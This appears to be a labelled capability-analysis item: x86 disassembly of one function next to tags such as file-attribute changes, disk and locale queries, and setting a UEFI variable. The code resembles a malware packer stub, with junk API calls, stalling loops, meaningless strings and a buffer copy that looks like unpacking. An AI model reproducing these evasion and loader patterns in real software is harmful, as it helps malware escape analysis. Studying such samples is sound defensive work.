Function at 0x40b190
Capabilities:
Get common file path
Get disk information
Get geographical location
Resolve function by parsing pe exports
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b711
mov eax, dword fs:[0]
push eax
sub esp, 0xc70
mov eax, dword [0x42b030]
xor eax, esp
mov dword [esp + 0xc68], eax
push ebx
push esi
push edi
mov eax, dword [0x42b030]
xor eax, esp
push eax
lea eax, [esp + 0xc80]
mov dword fs:[0], eax
mov eax, dword [0x82a82c]
cmp eax, 0x7c
jne 0x40b24d
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
lea edx, [esp + 0x478]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x82a82c], 0x2d
jne 0x40b236
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x429732
push 0x42d870
call fcn.0040111b
mov eax, dword [0x82a82c]
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor esi, esi
jmp 0x40b260
cmp eax, 0x8cf
jne 0x40b296
push 0
push 0
call edi
push 0
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x58]
push eax
push 0
lea ecx, [esp + 0x48c]
push ecx
push 0
call ebx
mov eax, dword [0x82a82c]
cmp esi, 0x1c6
jne 0x40b2ad
mov eax, dword [0x42cd74]
add eax, 0xa231
mov dword [0x82a82c], eax
cmp eax, 0x141
jne 0x40b2c8
mov dword [0x42d8f8], 0xec58acac
mov dword [0x42d8fc], 0xffffffff
inc esi
cmp esi, 0xb9fa744
jl 0x40b260
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b2e9
mov edx, dword [0x42bf58]
mov dword [0x82a830], edx
cmp eax, 0x3c
jne 0x40b2fe
push str.zoruneruxa
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov eax, dword [0x82a82c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b2d5
cmp eax, 0x110a
jne 0x40b4a5
push ebx
push ebx
mov dword [0x82a6f8], ebx
mov dword [0x82a6fc], ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.webayetisat
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401341
push ebx
push ebx
call fcn.00401341
push 4
call fcn.004013f8
add esp, 0x14
cmp eax, ebx
je 0x40b373
lea ecx, [esp + 0x2c]
mov dword [eax], ecx
jmp 0x40b375
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
push 4
mov dword [esp + 0xc8c], 1
call fcn.004013f8
add esp, 4
cmp eax, ebx
je 0x40b3a6
lea edx, [esp + 0x14]
mov dword [eax], edx
jmp 0x40b3a8
xor eax, eax
mov dword [esp + 0x14], eax
push ebx
push ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.00401341
push ebx
push ebx
push ebx
call fcn.00401216
mov eax, dword [esp + 0x34]
add esp, 0x14
cmp eax, ebx
je 0x40b415
mov edi, dword [esp + 0x24]
cmp eax, edi
je 0x40b40c
lea esi, [eax + 0x18]
lea ecx, [ecx]
cmp dword [esi], 0x10
jb 0x40b3f1
mov eax, dword [esi - 0x14]
push eax
call fcn.00401381
add esp, 4
mov dword [esi], 0xf
mov dword [esi - 4], ebx
mov byte [esi - 0x14], 0
add esi, 0x1c
lea eax, [esi - 0x18]
cmp eax, edi
jne 0x40b3e0
mov eax, dword [esp + 0x20]
push eax
call fcn.00401381
add esp, 4
mov ecx, dword [esp + 0x14]
push ecx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401381
mov dword [esp + 0xc8c], 0xffffffff
mov eax, dword [esp + 0x3c]
add esp, 4
cmp eax, ebx
je 0x40b487
mov edi, dword [esp + 0x3c]
cmp eax, edi
je 0x40b47e
lea esi, [eax + 0x18]
lea esp, [esp]
cmp dword [esi], 8
jb 0x40b461
mov edx, dword [esi - 0x14]
push edx
call fcn.00401381
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b450
mov eax, dword [esp + 0x38]
push eax
call fcn.00401381
add esp, 4
mov edx, dword [esp + 0x2c]
push edx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
call fcn.00401381
mov eax, dword [0x82a82c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x82a54c], eax
cmp dword [0x82a82c], ebx
jbe 0x40b4fa
mov edx, 0x19b0
mov eax, dword [0x82a830]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov al, byte [eax + ecx]
mov esi, dword [0x82a54c]
mov byte [esi + ecx], al
mov eax, dword [0x82a82c]
cmp eax, 0x5ab
jne 0x40b4f5
mov dword [0x82a550], edx
inc ecx
cmp ecx, eax
jb 0x40b4c1
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.0040ae70
call fcn.0040ae50
call fcn.0040b0e0
mov ecx, dword [0x82a54c]
xor eax, eax
lea esp, [esp]
cmp eax, 0xbd9cb
jne 0x40b52d
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b520
mov edi, dword [esp + 0x54]
mov dword [0x82a54c], ecx
xor esi, esi
lea ecx, [esp + 0x474]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40b55f
cmp edi, 0xf5bed7
jne 0x40b568
inc esi
cmp esi, 0x1ece7a52
jl 0x40b541
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x82a82c], 0xcc1
jne 0x40b59d
push 0
push 0
push str.vumawo
push str.hicocejezemahiwiwibesede
call esi
cmp dword [0x82a82c], 0x7c4
mov dword [0x82a554], ebx
jne 0x40b5b1
call edi
sub dword [esp + 0x10], 1
jne 0x40b581
mov ecx, dword [esp + 0xc80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc68]
xor ecx, esp
call fcn.0040110c
mov esp, ebp
pop ebp
ret